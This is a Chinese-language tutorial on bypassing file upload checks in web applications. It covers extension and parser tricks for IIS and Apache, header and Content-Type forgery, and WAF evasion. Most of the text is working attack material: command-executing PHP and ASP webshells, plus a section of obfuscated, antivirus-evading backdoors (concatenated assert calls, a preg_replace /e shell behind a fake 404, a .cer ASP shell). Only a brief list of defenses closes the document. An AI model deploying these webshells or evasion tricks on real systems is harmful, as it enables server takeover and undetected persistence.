Web安全 -- 上传漏洞讲解
字数 1239 2025-08-29 08:31:53
Web安全 - 文件上传漏洞全面解析与绕过技术
一、文件上传漏洞概述
文件上传漏洞是Web安全中最常见且危害极大的漏洞之一,攻击者通过精心构造的上传文件可以获取服务器控制权。本文将全面解析文件上传漏洞的各种绕过技术。
二、验证机制与绕过方法
1. 前端验证绕过
验证特点:使用JavaScript在客户端验证文件类型、大小等
绕过方法:
- 截断上传:直接修改HTTP请求或禁用JS
- 构造上传:编写HTML表单直接调用上传接口
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
2. 后端验证绕过
(1) 文件名验证绕过
黑名单绕过:
- 使用非常见后缀:.cer、.asa、.cdx
- 大小写混合:.PhP、.aSp
- 添加特殊字符:
shell.php.、shell.php - 双重扩展名:
shell.php.jpg
白名单绕过:
- 利用解析漏洞:
shell.asp;.jpg(IIS6.0) - 空字节截断:
shell.php%00.jpg
(2) 文件内容验证绕过
文件头伪造:
- 添加合法文件头:
GIF89a
<?php system($_GET['cmd']); ?>
内容混淆:
- 使用编码/加密:base64、rot13
- 关键词混淆:
<?php $a="ev"."al";$a($_POST['c']); ?>
(3) Content-Type绕过
修改Content-Type为合法类型:
Content-Type: image/gif
3. WAF绕过技术
方法:
- 垃圾数据填充:在文件开头添加大量无用数据
- 多文件上传:利用多个文件字段混淆WAF
- 协议混淆:GET/POST方法混合使用
- 删除Content-Type:移除或修改Content-Type头
三、组合利用技术
1. 配合文件包含漏洞
上传.txt文件并通过包含执行:
include($_GET['file']);
访问:/index.php?file=upload/shell.txt
2. 利用服务器解析漏洞
IIS 6.0:
- 目录解析:
/upload.asp/shell.jpg会被当作ASP执行 - 分号解析:
shell.asp;.jpg会被当作ASP执行
Apache:
- 从右向左解析:
shell.php.rar可能被当作PHP执行
3. 利用系统特性
- Windows自动去除末尾点和空格:
shell.php.→shell.php - Linux下特殊字符:
shell.p\h\p
四、免杀技术实例
1. ASP免杀小马
GIF89a
<%
' 混淆关键词
Execute(Request("cnsec"))
%>
保存为.cer后缀
2. PHP免杀技术
极简后门:
<?php $_GET[a]($_GET[b]);?>
使用:/shell.php?a=system&b=whoami
404隐藏后门:
<?php @preg_replace("/[checksql]/e",$_POST['cnsec'],"saft"); ?>
header('HTTP/1.1 404 Not Found');
字符串拼接:
<?php
$a = "a"."s"."s"."e"."r"."t";
$a($_POST["sz"]);
?>
五、防御建议
- 使用白名单验证文件扩展名
- 文件重命名(避免用户控制文件名)
- 限制上传目录执行权限
- 检查文件内容(不仅检查文件头)
- 使用病毒扫描接口
- 设置合理的上传大小限制
- 禁用危险函数(如eval、assert)
六、总结
文件上传漏洞的绕过技术多种多样,防御需要多层次的安全措施。安全人员需要了解各种绕过技术才能构建有效的防御体系。记住:永远不要信任用户上传的任何内容!